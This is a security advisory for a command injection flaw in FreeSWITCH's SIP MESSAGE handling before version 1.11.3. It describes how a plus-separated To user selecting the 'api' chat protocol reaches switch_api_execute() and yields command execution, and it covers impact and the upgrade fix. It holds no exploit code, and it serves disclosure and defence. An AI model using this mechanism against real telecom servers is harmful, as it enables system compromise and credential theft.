CVE-2026-116779

CRITICAL CISA KEV POC Pub 05/11 Upd 10/11

Overview

This vulnerability is a command injection flaw arising from improper parsing of the To user field in inbound SIP MESSAGE requests within the sofia_presence_handle_sip_i_message() function. The function erroneously splits the To user string on a plus sign and interprets the left segment as a chat protocol selector, which can be manipulated to invoke FreeSWITCH API commands. This flaw affects the FreeSWITCH software-defined telecom stack, specifically the SIP message handling component in versions prior to 1.11.3.

Vulnerability Description

FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to 1.11.3, sofia_presence_handle_sip_i_message() split the To user of an inbound SIP MESSAGE on a plus sign and treated the left side as a chat protocol selector. Selecting the api chat proto reached switch_api_execute(), allowing a peer whose MESSAGE was accepted to run FreeSWITCH API commands, including operating-system command sinks, with the daemon's privileges. Inbound chat is enabled on the stock internal and external profiles, and any authenticated profile account is sufficient; stock directory users without password material can also remove that barrier in affected configurations. The flaw permits configuration and credential disclosure, arbitrary call control, and command execution, and exploitation has been observed in the wild. This issue is fixed in version 1.11.3.

Impact

An attacker with access to an authenticated or certain unauthenticated FreeSWITCH profiles can execute arbitrary FreeSWITCH API commands, including operating system commands, with daemon-level privileges. This enables full system compromise, arbitrary call control, and disclosure of configuration and credential data. No user interaction is required beyond sending a crafted SIP MESSAGE, making exploitation feasible in typical default configurations. The vulnerability has been exploited in the wild, posing a direct threat to telecom infrastructure confidentiality, integrity, and availability.

Solution

Upgrade FreeSWITCH to version 1.11.3 or later, where this vulnerability is addressed. Refer to the official advisory at https://github.com/signalwire/freeswitch/security/advisories/GHSA-mg63-h38w-8p9p for detailed patch instructions and mitigation guidance. No specific workarounds are documented; patching to the fixed release is the recommended remediation step.
